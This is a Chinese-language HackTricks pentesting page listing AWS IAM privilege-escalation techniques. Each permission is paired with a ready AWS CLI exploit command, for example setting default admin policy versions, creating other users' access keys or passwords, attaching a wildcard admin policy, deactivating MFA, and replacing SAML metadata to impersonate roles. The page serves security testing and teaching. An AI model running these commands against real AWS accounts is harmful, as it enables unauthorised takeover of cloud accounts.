AWS - IAM Privesc

支持 HackTricks

IAM

有关 IAM 的更多信息,请查看:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

授予创建新 IAM 策略版本的能力,通过使用 --set-as-default 标志绕过 iam:SetDefaultPolicyVersion 权限的需求。这使得定义自定义权限成为可能。

利用命令:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

影响: 通过允许对任何资源执行任何操作直接提升权限。

iam:SetDefaultPolicyVersion

允许将IAM策略的默认版本更改为另一个现有版本,如果新版本具有更多权限,则可能会提升权限。

Bash Command:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

影响: 通过启用更多权限间接提升权限。

iam:CreateAccessKey

允许为其他用户创建访问密钥 ID 和秘密访问密钥,导致潜在的权限提升。

利用:

aws iam create-access-key --user-name <target_user>

影响: 通过假设另一个用户的扩展权限直接提升权限。

iam:CreateLoginProfile | iam:UpdateLoginProfile

允许创建或更新登录配置文件,包括设置AWS控制台登录密码,从而导致直接权限提升。

创建的利用:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

更新的漏洞利用:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

影响: 通过以“任何”用户身份登录直接提升权限。

iam:UpdateAccessKey

允许启用已禁用的访问密钥,如果攻击者拥有已禁用的密钥,可能导致未经授权的访问。

利用:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

影响: 通过重新激活访问密钥直接提升权限。

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

允许为特定的AWS服务(例如,CodeCommit,Amazon Keyspaces)生成或重置凭证,继承关联用户的权限。

创建的利用:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

重置漏洞利用:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

影响: 在用户的服务权限内直接提升权限。

iam:AttachUserPolicy || iam:AttachGroupPolicy

允许将策略附加到用户或组,通过继承附加策略的权限直接提升权限。

用户利用:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit for Group:

针对组的利用:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

影响: 直接权限提升到策略授予的任何内容。

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

允许将策略附加或放置到角色、用户或组,从而通过授予额外权限实现直接权限提升。

针对角色的利用:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

利用 Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

你可以使用如下策略:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

影响: 通过策略添加权限直接提升权限。

iam:AddUserToGroup

允许将自己添加到一个 IAM 组,通过继承该组的权限来提升权限。

利用:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

影响: 直接提升到组权限的级别。

iam:UpdateAssumeRolePolicy

允许更改角色的假设角色策略文档,从而能够假设该角色及其相关权限。

利用:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

当策略如下所示时,它赋予用户假设角色的权限:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "sts:AssumeRole",
            "Resource": "arn:aws:iam::123456789012:role/ExampleRole"
        }
    ]
}
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

影响: 通过假设任何角色的权限直接提升权限。

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

允许上传用于验证到CodeCommit的SSH公钥和停用MFA设备,导致潜在的间接权限提升。

SSH密钥上传的利用:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

MFA Deactivation Exploit:

利用 MFA 停用漏洞:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

影响: 通过启用 CodeCommit 访问或禁用 MFA 保护进行间接权限提升。

iam:ResyncMFADevice

允许重新同步 MFA 设备,可能通过操纵 MFA 保护导致间接权限提升。

Bash 命令:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

影响: 通过添加或操纵MFA设备间接提升权限。

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

有了这些权限,你可以更改SAML连接的XML元数据。然后,你可以滥用SAML联合登录任何信任它的角色

请注意,这样做合法用户将无法登录。但是,你可以获取XML,这样你可以放入自己的,登录并重新配置之前的设置。

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: 一个能够生成SAML元数据并使用指定角色登录的工具

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(不确定)如果攻击者拥有这些权限,他可以添加一个新的Thumbprint,以便登录所有信任该提供者的角色。

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

参考资料

支持 HackTricks

Last updated